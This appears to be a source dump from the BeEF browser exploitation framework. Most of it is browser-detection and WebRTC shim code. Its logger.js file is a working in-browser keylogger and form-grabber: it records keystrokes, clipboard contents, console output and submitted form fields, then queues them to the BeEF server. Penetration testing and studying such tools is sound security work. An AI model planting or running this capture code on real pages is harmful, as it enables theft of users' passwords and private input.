/\bPlayStation\b(?! Vita\b)/i.test(name) && 'NetFront' )) { layout = [data]; } // Detect Windows Phone 7 desktop mode. if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(ua) || 0)[1])) { name += ' Mobile'; os = 'Windows Phone ' + (/\+$/.test(data) ? data : data + '.x'); description.unshift('desktop mode'); } // Detect Windows Phone 8.x desktop mode. else if (/\bWPDesktop\b/i.test(ua)) { name = 'IE Mobile'; os = 'Windows Phone 8.x'; description.unshift('desktop mode'); version || (version = (/\brv:([\d.]+)/.exec(ua) || 0)[1]); } // Detect IE 11 identifying as other browsers. else if (name != 'IE' && layout == 'Trident' && (data = /\brv:([\d.]+)/.exec(ua))) { if (name) { description.push('identifying as ' + name + (version ? ' ' + version : '')); } name = 'IE'; version = data[1]; } // Leverage environment features. if (useFeatures) { // Detect server-side environments. // Rhino has a global function while others have a global object. if (isHostType(context, 'global')) { if (java) { data = java.lang.System; arch = data.getProperty('os.arch'); os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version'); } if (rhino) { try { version = context.require('ringo/engine').version.join('.'); name = 'RingoJS'; } catch(e) { if ((data = context.system) && data.global.system == context.system) { name = 'Narwhal'; os || (os = data[0].os || null); } } if (!name) { name = 'Rhino'; } } else if ( typeof context.process == 'object' && !context.process.browser && (data = context.process) ) { if (typeof data.versions == 'object') { if (typeof data.versions.electron == 'string') { description.push('Node ' + data.versions.node); name = 'Electron'; version = data.versions.electron; } else if (typeof data.versions.nw == 'string') { description.push('Chromium ' + version, 'Node ' + data.versions.node); name = 'NW.js'; version = data.versions.nw; } } if (!name) { name = 'Node.js'; arch = data.arch; os = data.platform; version = /[\d.]+/.exec(data.version); version = version ? version[0] : null; } } } // Detect Adobe AIR. else if (getClassOf((data = context.runtime)) == airRuntimeClass) { name = 'Adobe AIR'; os = data.flash.system.Capabilities.os; } // Detect PhantomJS. else if (getClassOf((data = context.phantom)) == phantomClass) { name = 'PhantomJS'; version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch); } // Detect IE compatibility modes. else if (typeof doc.documentMode == 'number' && (data = /\bTrident\/(\d+)/i.exec(ua))) { // We're in compatibility mode when the Trident version + 4 doesn't // equal the document mode. version = [version, doc.documentMode]; if ((data = +data[1] + 4) != version[1]) { description.push('IE ' + version[1] + ' mode'); layout && (layout[1] = ''); version[1] = data; } version = name == 'IE' ? String(version[1].toFixed(1)) : version[0]; } // Detect IE 11 masking as other browsers. else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\b/.test(name)) { description.push('masking as ' + name + ' ' + version); name = 'IE'; version = '11.0'; layout = ['Trident']; os = 'Windows'; } os = os && format(os); } // Detect prerelease phases. if (version && (data = /(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec(version) || /(?:alpha|beta)(?: ?\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) || /\bMinefield\b/i.test(ua) && 'a' )) { prerelease = /b/i.test(data) ? 'beta' : 'alpha'; version = version.replace(RegExp(data + '\\+?$'), '') + (prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || ''); } // Detect Firefox Mobile. if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) { name = 'Firefox Mobile'; } // Obscure Maxthon's unreliable version. else if (name == 'Maxthon' && version) { version = version.replace(/\.[\d.]+/, '.x'); } // Detect Xbox 360 and Xbox One. else if (/\bXbox\b/i.test(product)) { if (product == 'Xbox 360') { os = null; } if (product == 'Xbox 360' && /\bIEMobile\b/.test(ua)) { description.unshift('mobile mode'); } } // Add mobile postfix. else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) && (os == 'Windows CE' || /Mobi/i.test(ua))) { name += ' Mobile'; } // Detect IE platform preview. else if (name == 'IE' && useFeatures) { try { if (context.external === null) { description.unshift('platform preview'); } } catch(e) { description.unshift('embedded'); } } // Detect BlackBerry OS version. // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp else if ((/\bBlackBerry\b/.test(product) || /\bBB10\b/.test(ua)) && (data = (RegExp(product.replace(/ +/g, ' *') + '/([.\\d]+)', 'i').exec(ua) || 0)[1] || version )) { data = [data, /BB10/.test(ua)]; os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0]; version = null; } // Detect Opera identifying/masking itself as another browser. // http://www.opera.com/support/kb/view/843/ else if (this != forOwn && product != 'Wii' && ( (useFeatures && opera) || (/Opera/.test(name) && /\b(?:MSIE|Firefox)\b/i.test(ua)) || (name == 'Firefox' && /\bOS X (?:\d+\.){2,}/.test(os)) || (name == 'IE' && ( (os && !/^Win/.test(os) && version > 5.5) || /\bWindows XP\b/.test(os) && version > 8 || version == 8 && !/\bTrident\b/.test(ua) )) ) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) { // When "identifying", the UA contains both Opera and the other browser's name. data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : ''); if (reOpera.test(name)) { if (/\bIE\b/.test(data) && os == 'Mac OS') { os = null; } data = 'identify' + data; } // When "masking", the UA contains only the other browser's name. else { data = 'mask' + data; if (operaClass) { name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2')); } else { name = 'Opera'; } if (/\bIE\b/.test(data)) { os = null; } if (!useFeatures) { version = null; } } layout = ['Presto']; description.push(data); } // Detect WebKit Nightly and approximate Chrome/Safari versions. if ((data = (/\bAppleWebKit\/([\d.]+\+?)/i.exec(ua) || 0)[1])) { // Correct build number for numeric comparison. // (e.g. "532.5" becomes "532.05") data = [parseFloat(data.replace(/\.(\d)$/, '.0$1')), data]; // Nightly builds are postfixed with a "+". if (name == 'Safari' && data[1].slice(-1) == '+') { name = 'WebKit Nightly'; prerelease = 'alpha'; version = data[1].slice(0, -1); } // Clear incorrect browser versions. else if (version == data[1] || version == (data[2] = (/\bSafari\/([\d.]+\+?)/i.exec(ua) || 0)[1])) { version = null; } // Use the full Chrome version when available. data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1]; // Detect Blink layout engine. if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') { layout = ['Blink']; } // Detect JavaScriptCore. // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi if (!useFeatures || (!likeChrome && !data[1])) { layout && (layout[1] = 'like Safari'); data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12'); } else { layout && (layout[1] = 'like Chrome'); data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28'); } // Add the postfix of ".x" or "+" for approximate versions. layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+')); // Obscure version for some Safari 1-2 releases. if (name == 'Safari' && (!version || parseInt(version) > 45)) { version = data; } else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) { description.unshift('headless'); } } // Detect Opera desktop modes. if (name == 'Opera' && (data = /\bzbov|zvav$/.exec(os))) { name += ' '; description.unshift('desktop mode'); if (data == 'zvav') { name += 'Mini'; version = null; } else { name += 'Mobile'; } os = os.replace(RegExp(' *' + data + '$'), ''); } // Detect Chrome desktop mode. else if (name == 'Safari' && /\bChrome\b/.exec(layout && layout[1])) { description.unshift('desktop mode'); name = 'Chrome Mobile'; version = null; if (/\bOS X\b/.test(os)) { manufacturer = 'Apple'; os = 'iOS 4.3+'; } else { os = null; } } // Newer versions of SRWare Iron uses the Chrome tag to indicate its version number. else if (/\bSRWare Iron\b/.test(name) && !version) { version = getVersion('Chrome'); } // Strip incorrect OS versions. if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 && ua.indexOf('/' + data + '-') > -1) { os = trim(os.replace(data, '')); } // Ensure OS does not include the browser name. if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) { os = os.replace(RegExp(' *' + qualify(name) + ' *'), ''); } // Add layout engine. if (layout && !/\b(?:Avant|Nook)\b/.test(name) && ( /Browser|Lunascape|Maxthon/.test(name) || name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) || /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) { // Don't add layout details to description if they are falsey. (data = layout[layout.length - 1]) && description.push(data); } // Combine contextual information. if (description.length) { description = ['(' + description.join('; ') + ')']; } // Append manufacturer to description. if (manufacturer && product && product.indexOf(manufacturer) < 0) { description.push('on ' + manufacturer); } // Append product to description. if (product) { description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product); } // Parse the OS into an object. if (os) { data = / ([\d.+]+)$/.exec(os); isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/'; os = { 'architecture': 32, 'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os, 'version': data ? data[1] : null, 'toString': function() { var version = this.version; return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : ''); } }; } // Add browser/OS architecture. if ((data = /\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(arch)) && !/\bi686\b/i.test(arch)) { if (os) { os.architecture = 64; os.family = os.family.replace(RegExp(' *' + data), ''); } if ( name && (/\bWOW64\b/i.test(ua) || (useFeatures && /\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\bWin64; x64\b/i.test(ua))) ) { description.unshift('32-bit'); } } // Chrome 39 and above on OS X is always 64-bit. else if ( os && /^OS X/.test(os.family) && name == 'Chrome' && parseFloat(version) >= 39 ) { os.architecture = 64; } ua || (ua = null); /*------------------------------------------------------------------------*/ /** * The platform object. * * @name platform * @type Object */ var platform = {}; /** * The platform description. * * @memberOf platform * @type string|null */ platform.description = ua; /** * The name of the browser's layout engine. * * The list of common layout engines include: * "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit" * * @memberOf platform * @type string|null */ platform.layout = layout && layout[0]; /** * The name of the product's manufacturer. * * The list of manufacturers include: * "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry", * "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo", * "Nokia", "Samsung" and "Sony" * * @memberOf platform * @type string|null */ platform.manufacturer = manufacturer; /** * The name of the browser/environment. * * The list of common browser names include: * "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE", * "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk", * "Opera Mini" and "Opera" * * Mobile versions of some browsers have "Mobile" appended to their name: * eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile" * * @memberOf platform * @type string|null */ platform.name = name; /** * The alpha/beta release indicator. * * @memberOf platform * @type string|null */ platform.prerelease = prerelease; /** * The name of the product hosting the browser. * * The list of common products include: * * "BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle", * "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer" * * @memberOf platform * @type string|null */ platform.product = product; /** * The browser's user agent string. * * @memberOf platform * @type string|null */ platform.ua = ua; /** * The browser/environment version. * * @memberOf platform * @type string|null */ platform.version = name && version; /** * The name of the operating system. * * @memberOf platform * @type Object */ platform.os = os || { /** * The CPU architecture the OS is built for. * * @memberOf platform.os * @type number|null */ 'architecture': null, /** * The family of the OS. * * Common values include: * "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista", * "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat", * "SuSE", "Android", "iOS" and "Windows Phone" * * @memberOf platform.os * @type string|null */ 'family': null, /** * The version of the OS. * * @memberOf platform.os * @type string|null */ 'version': null, /** * Returns the OS string. * * @memberOf platform.os * @returns {string} The OS string. */ 'toString': function() { return 'null'; } }; platform.parse = parse; platform.toString = toStringPlatform; if (platform.version) { description.unshift(version); } if (platform.name) { description.unshift(name); } if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) { description.push(product ? '(' + os + ')' : 'on ' + os); } if (description.length) { platform.description = description.join(' '); } return platform; } /*--------------------------------------------------------------------------*/ // Export platform. var platform = parse(); // Some AMD build optimizers, like r.js, check for condition patterns like the following: if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) { // Expose platform on the global object to prevent errors when platform is // loaded by a script tag in the presence of an AMD loader. // See http://requirejs.org/docs/errors.html#mismatch for more details. root.platform = platform; // Define as an anonymous module so platform can be aliased through path mapping. define(function() { return platform; }); } // Check for `exports` after `define` in case a build optimizer adds an `exports` object. else if (freeExports && freeModule) { // Export for CommonJS support. forOwn(platform, function(value, key) { freeExports[key] = value; }); } else { // Export to the global object. root.platform = platform; } }.call(this)); ================================================ FILE: core/main/client/lib/webrtcadapter.js ================================================ /* * Copyright (c) 2014 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. */ /* More information about these options at jshint.com/docs/options */ /* jshint browser: true, camelcase: true, curly: true, devel: true, eqeqeq: true, forin: false, globalstrict: true, node: true, quotmark: single, undef: true, unused: strict */ /* global mozRTCIceCandidate, mozRTCPeerConnection, Promise, mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */ /* exported trace,requestUserMedia */ 'use strict'; var getUserMedia = null; var attachMediaStream = null; var reattachMediaStream = null; var webrtcDetectedBrowser = null; var webrtcDetectedVersion = null; var webrtcMinimumVersion = null; function trace(text) { // This function is used for logging. if (text[text.length - 1] === '\n') { text = text.substring(0, text.length - 1); } if (window.performance) { var now = (window.performance.now() / 1000).toFixed(3); beef.debug(now + ': ' + text); } else { beef.debug(text); } } if (navigator.mozGetUserMedia) { webrtcDetectedBrowser = 'firefox'; // the detected firefox version. webrtcDetectedVersion = parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10); // the minimum firefox version still supported by adapter. webrtcMinimumVersion = 31; // The RTCPeerConnection object. window.RTCPeerConnection = function(pcConfig, pcConstraints) { if (webrtcDetectedVersion < 38) { // .urls is not supported in FF < 38. // create RTCIceServers with a single url. if (pcConfig && pcConfig.iceServers) { var newIceServers = []; for (var i = 0; i < pcConfig.iceServers.length; i++) { var server = pcConfig.iceServers[i]; if (server.hasOwnProperty('urls')) { for (var j = 0; j < server.urls.length; j++) { var newServer = { url: server.urls[j] }; if (server.urls[j].indexOf('turn') === 0) { newServer.username = server.username; newServer.credential = server.credential; } newIceServers.push(newServer); } } else { newIceServers.push(pcConfig.iceServers[i]); } } pcConfig.iceServers = newIceServers; } } return new mozRTCPeerConnection(pcConfig, pcConstraints); }; try { // The RTCSessionDescription object. window.RTCSessionDescription = mozRTCSessionDescription; // The RTCIceCandidate object. window.RTCIceCandidate = mozRTCIceCandidate; }catch(err) { } // getUserMedia constraints shim. getUserMedia = (webrtcDetectedVersion < 38) ? function(c, onSuccess, onError) { var constraintsToFF37 = function(c) { if (typeof c !== 'object' || c.require) { return c; } var require = []; Object.keys(c).forEach(function(key) { var r = c[key] = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]}; if (r.exact !== undefined) { r.min = r.max = r.exact; delete r.exact; } if (r.min !== undefined || r.max !== undefined) { require.push(key); } if (r.ideal !== undefined) { c.advanced = c.advanced || []; var oc = {}; oc[key] = {min: r.ideal, max: r.ideal}; c.advanced.push(oc); delete r.ideal; if (!Object.keys(r).length) { delete c[key]; } } }); if (require.length) { c.require = require; } return c; }; beef.debug('spec: ' + JSON.stringify(c)); c.audio = constraintsToFF37(c.audio); c.video = constraintsToFF37(c.video); beef.debug('ff37: ' + JSON.stringify(c)); return navigator.mozGetUserMedia(c, onSuccess, onError); } : navigator.mozGetUserMedia.bind(navigator); navigator.getUserMedia = getUserMedia; // Shim for mediaDevices on older versions. if (!navigator.mediaDevices) { navigator.mediaDevices = {getUserMedia: requestUserMedia, addEventListener: function() { }, removeEventListener: function() { } }; } navigator.mediaDevices.enumerateDevices = navigator.mediaDevices.enumerateDevices || function() { return new Promise(function(resolve) { var infos = [ {kind: 'audioinput', deviceId: 'default', label:'', groupId:''}, {kind: 'videoinput', deviceId: 'default', label:'', groupId:''} ]; resolve(infos); }); }; if (webrtcDetectedVersion < 41) { // Work around http://bugzil.la/1169665 var orgEnumerateDevices = navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices); navigator.mediaDevices.enumerateDevices = function() { return orgEnumerateDevices().then(undefined, function(e) { if (e.name === 'NotFoundError') { return []; } throw e; }); }; } // Attach a media stream to an element. attachMediaStream = function(element, stream) { beef.debug('Attaching media stream'); element.mozSrcObject = stream; }; reattachMediaStream = function(to, from) { beef.debug('Reattaching media stream'); to.mozSrcObject = from.mozSrcObject; }; } else if (navigator.webkitGetUserMedia) { webrtcDetectedBrowser = 'chrome'; // the detected chrome version. webrtcDetectedVersion = parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10); // the minimum chrome version still supported by adapter. webrtcMinimumVersion = 38; // The RTCPeerConnection object. window.RTCPeerConnection = function(pcConfig, pcConstraints) { var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints); var origGetStats = pc.getStats.bind(pc); pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line // If selector is a function then we are in the old style stats so just // pass back the original getStats format to avoid breaking old users. if (typeof selector === 'function') { return origGetStats(selector, successCallback); } var fixChromeStats = function(response) { var standardReport = {}; var reports = response.result(); reports.forEach(function(report) { var standardStats = { id: report.id, timestamp: report.timestamp, type: report.type }; report.names().forEach(function(name) { standardStats[name] = report.stat(name); }); standardReport[standardStats.id] = standardStats; }); return standardReport; }; var successCallbackWrapper = function(response) { successCallback(fixChromeStats(response)); }; return origGetStats(successCallbackWrapper, selector); }; return pc; }; // add promise support ['createOffer', 'createAnswer'].forEach(function(method) { var nativeMethod = webkitRTCPeerConnection.prototype[method]; webkitRTCPeerConnection.prototype[method] = function() { var self = this; if (arguments.length < 1 || (arguments.length === 1 && typeof(arguments[0]) === 'object')) { var opts = arguments.length === 1 ? arguments[0] : undefined; return new Promise(function(resolve, reject) { nativeMethod.apply(self, [resolve, reject, opts]); }); } else { return nativeMethod.apply(this, arguments); } }; }); ['setLocalDescription', 'setRemoteDescription', 'addIceCandidate'].forEach(function(method) { var nativeMethod = webkitRTCPeerConnection.prototype[method]; webkitRTCPeerConnection.prototype[method] = function() { var args = arguments; var self = this; return new Promise(function(resolve, reject) { nativeMethod.apply(self, [args[0], function() { resolve(); if (args.length >= 2) { args[1].apply(null, []); } }, function(err) { reject(err); if (args.length >= 3) { args[2].apply(null, [err]); } }] ); }); }; }); // getUserMedia constraints shim. getUserMedia = function(c, onSuccess, onError) { var constraintsToChrome = function(c) { if (typeof c !== 'object' || c.mandatory || c.optional) { return c; } var cc = {}; Object.keys(c).forEach(function(key) { if (key === 'require' || key === 'advanced') { return; } var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]}; if (r.exact !== undefined && typeof r.exact === 'number') { r.min = r.max = r.exact; } var oldname = function(prefix, name) { if (prefix) { return prefix + name.charAt(0).toUpperCase() + name.slice(1); } return (name === 'deviceId') ? 'sourceId' : name; }; if (r.ideal !== undefined) { cc.optional = cc.optional || []; var oc = {}; if (typeof r.ideal === 'number') { oc[oldname('min', key)] = r.ideal; cc.optional.push(oc); oc = {}; oc[oldname('max', key)] = r.ideal; cc.optional.push(oc); } else { oc[oldname('', key)] = r.ideal; cc.optional.push(oc); } } if (r.exact !== undefined && typeof r.exact !== 'number') { cc.mandatory = cc.mandatory || {}; cc.mandatory[oldname('', key)] = r.exact; } else { ['min', 'max'].forEach(function(mix) { if (r[mix] !== undefined) { cc.mandatory = cc.mandatory || {}; cc.mandatory[oldname(mix, key)] = r[mix]; } }); } }); if (c.advanced) { cc.optional = (cc.optional || []).concat(c.advanced); } return cc; }; beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment c.audio = constraintsToChrome(c.audio); c.video = constraintsToChrome(c.video); beef.debug('chrome: ' + JSON.stringify(c)); return navigator.webkitGetUserMedia(c, onSuccess, onError); }; navigator.getUserMedia = getUserMedia; // Attach a media stream to an element. attachMediaStream = function(element, stream) { if (typeof element.srcObject !== 'undefined') { element.srcObject = stream; } else if (typeof element.src !== 'undefined') { element.src = URL.createObjectURL(stream); } else { beef.debug('Error attaching stream to element.'); } }; reattachMediaStream = function(to, from) { to.src = from.src; }; if (!navigator.mediaDevices) { navigator.mediaDevices = {getUserMedia: requestUserMedia, enumerateDevices: function() { return new Promise(function(resolve) { var kinds = {audio: 'audioinput', video: 'videoinput'}; return MediaStreamTrack.getSources(function(devices) { resolve(devices.map(function(device) { return {label: device.label, kind: kinds[device.kind], deviceId: device.id, groupId: ''}; })); }); }); }}; // in case someone wants to listen for the devicechange event. navigator.mediaDevices.addEventListener = function() { }; navigator.mediaDevices.removeEventListener = function() { }; } } else if (navigator.mediaDevices && navigator.userAgent.match( /Edge\/(\d+).(\d+)$/)) { webrtcDetectedBrowser = 'edge'; webrtcDetectedVersion = parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10); // the minimum version still supported by adapter. webrtcMinimumVersion = 12; attachMediaStream = function(element, stream) { element.srcObject = stream; }; reattachMediaStream = function(to, from) { to.srcObject = from.srcObject; }; } else { // console.log('Browser does not appear to be WebRTC-capable'); } // Returns the result of getUserMedia as a Promise. function requestUserMedia(constraints) { return new Promise(function(resolve, reject) { getUserMedia(constraints, resolve, reject); }); } if (typeof module !== 'undefined') { module.exports = { RTCPeerConnection: window.RTCPeerConnection, getUserMedia: getUserMedia, attachMediaStream: attachMediaStream, reattachMediaStream: reattachMediaStream, webrtcDetectedBrowser: webrtcDetectedBrowser, webrtcDetectedVersion: webrtcDetectedVersion, webrtcMinimumVersion: webrtcMinimumVersion //requestUserMedia: not exposed on purpose. //trace: not exposed on purpose. }; } else if ((typeof require === 'function') && (typeof define === 'function')) { // Expose objects and functions when RequireJS is doing the loading. define([], function() { return { RTCPeerConnection: window.RTCPeerConnection, getUserMedia: getUserMedia, attachMediaStream: attachMediaStream, reattachMediaStream: reattachMediaStream, webrtcDetectedBrowser: webrtcDetectedBrowser, webrtcDetectedVersion: webrtcDetectedVersion, webrtcMinimumVersion: webrtcMinimumVersion //requestUserMedia: not exposed on purpose. //trace: not exposed on purpose. }; }); } ================================================ FILE: core/main/client/logger.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Provides logging capabilities. * @namespace beef.logger */ beef.logger = { running: false, /** * Internal logger id */ id: 0, /** * Holds events created by user, to be sent back to BeEF */ events: [], /** * Holds current stream of key presses */ stream: [], /** * Contains current target of key presses */ target: null, /** * Holds the time the logger was started */ time: null, /** * Holds the event details to be sent to BeEF */ e: function() { this.id = beef.logger.get_id(); this.time = beef.logger.get_timestamp(); this.type = null; this.x = 0; this.y = 0; this.target = null; this.data = null; this.mods = null; }, /** * Prevents from recursive event handling on form submission */ in_submit: false, /** * Starts the logger */ start: function() { beef.browser.hookChildFrames(); this.running = true; var d = new Date(); this.time = d.getTime(); $j(document).off('keypress'); $j(document).off('click'); $j(window).off('focus'); $j(window).off('blur'); $j('form').off('submit'); $j(document.body).off('copy'); $j(document.body).off('cut'); $j(document.body).off('paste'); if (!!window.console && typeof window.console == "object") { try { var oldInfo = window.console.info; console.info = function (message) { beef.logger.console('info', message); oldInfo.apply(console, arguments); }; var oldLog = window.console.log; console.log = function (message) { beef.logger.console('log', message); oldLog.apply(console, arguments); }; var oldWarn = window.console.warn; console.warn = function (message) { beef.logger.console('warn', message); oldWarn.apply(console, arguments); }; var oldDebug = window.console.debug; console.debug = function (message) { beef.logger.console('debug', message); oldDebug.apply(console, arguments); }; var oldError = window.console.error; console.error = function (message) { beef.logger.console('error', message); oldError.apply(console, arguments); }; } catch(e) {} } $j(document).keypress( function(e) { beef.logger.keypress(e); } ).click( function(e) { beef.logger.click(e); } ); $j(window).focus( function(e) { beef.logger.win_focus(e); } ).blur( function(e) { beef.logger.win_blur(e); } ); $j('form').submit( function(e) { beef.logger.submit(e); } ); $j(document.body).on('copy', function() { setTimeout("beef.logger.copy();", 10); }); $j(document.body).on('cut', function() { setTimeout("beef.logger.cut();", 10); }); $j(document.body).on('paste', function() { beef.logger.paste(); }); }, /** * Stops the logger */ stop: function() { this.running = false; clearInterval(this.timer); $j(document).off('keypress'); $j(document).off('click'); $j(window).off('focus'); $j(window).off('blur'); $j('form').off('submit'); $j(document.body).off('copy'); $j(document.body).off('cut'); $j(document.body).off('paste'); // TODO: reset console }, /** * Get id */ get_id: function() { this.id++; return this.id; }, /** * Click function fires when the user clicks the mouse. */ click: function(e) { var c = new beef.logger.e(); c.type = 'click'; c.x = e.pageX; c.y = e.pageY; c.target = beef.logger.get_dom_identifier(e.target); this.events.push(c); }, /** * Fires when the window element has regained focus */ win_focus: function(e) { var f = new beef.logger.e(); f.type = 'focus'; this.events.push(f); }, /** * Fires when the window element has lost focus */ win_blur: function(e) { var b = new beef.logger.e(); b.type = 'blur'; this.events.push(b); }, /** * Keypress function fires everytime a key is pressed. * @param {Object} e: event object */ keypress: function(e) { if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0))) { beef.logger.push_stream(); this.target = e.target; } this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}}); }, /** * Copy function fires when the user copies data to the clipboard. */ copy: function(x) { try { var c = new beef.logger.e(); c.type = 'copy'; c.data = clipboardData.getData("Text"); this.events.push(c); } catch(e) {} }, /** * Cut function fires when the user cuts data to the clipboard. */ cut: function() { try { var c = new beef.logger.e(); c.type = 'cut'; c.data = clipboardData.getData("Text"); this.events.push(c); } catch(e) {} }, /** * Console function fires when data is sent to the browser console. */ console: function(type, message) { try { var c = new beef.logger.e(); c.type = 'console'; c.data = type + ': ' + message; this.events.push(c); } catch(e) {} }, /** * Paste function fires when the user pastes data from the clipboard. */ paste: function() { try { var c = new beef.logger.e(); c.type = 'paste'; c.data = clipboardData.getData("Text"); this.events.push(c); } catch(e) {} }, /** * Submit function fires whenever a form is submitted * TODO: Cleanup this function */ submit: function(e) { if (beef.logger.in_submit) { return true; } try { var f = new beef.logger.e(); f.type = 'submit'; f.target = beef.logger.get_dom_identifier(e.target); var jqForms = $j(e.target); var values = jqForms.find('input').map(function() { var inp = $j(this); return inp.attr('name') + '=' + inp.val(); }).get().join(); beef.debug('submitting form inputs: ' + values); /* for (var i = 0; i < e.target.elements.length; i++) { values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n"; } */ f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values; this.events.push(f); this.queue(); this.target = null; beef.net.flush(function done() { beef.debug("Submitting the form"); beef.logger.in_submit = true; jqForms.submit(); beef.logger.in_submit = false; beef.debug("Done submitting"); }); e.preventDefault(); return false; } catch(e) {} }, /** * Pushes the current stream to the events queue */ push_stream: function() { if (this.stream.length > 0) { this.events.push(beef.logger.parse_stream()); this.stream = []; } }, /** * Translate DOM Object to a readable string */ get_dom_identifier: function(target) { target = (target == null) ? this.target : target; var id = ''; if (target) { id = target.tagName.toLowerCase(); id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' '; id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : ''; } return id; }, /** * Formats the timestamp * @return {String} timestamp string */ get_timestamp: function() { var d = new Date(); return ((d.getTime() - this.time) / 1000).toFixed(3); }, /** * Parses stream array and creates history string */ parse_stream: function() { var s = ''; var mods = ''; for (var i in this.stream){ try{ var mod = this.stream[i]['modifiers']; s += String.fromCharCode(this.stream[i]['char']); if(typeof mod != 'undefined' && (mod['alt'] == true || mod['ctrl'] == true || mod['shift'] == true)){ mods += (mod['alt']) ? ' [Alt] ' : ''; mods += (mod['ctrl']) ? ' [Ctrl] ' : ''; mods += (mod['shift']) ? ' [Shift] ' : ''; mods += String.fromCharCode(this.stream[i]['char']); } }catch(e){} } var k = new beef.logger.e(); k.type = 'keys'; k.target = beef.logger.get_dom_identifier(); k.data = s; k.mods = mods; return k; }, /** * Queue results to be sent back to framework */ queue: function() { beef.logger.push_stream(); if (this.events.length > 0) { beef.net.queue('/event', 0, this.events); this.events = []; } } }; beef.regCmp('beef.logger'); ================================================ FILE: core/main/client/mitb.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // 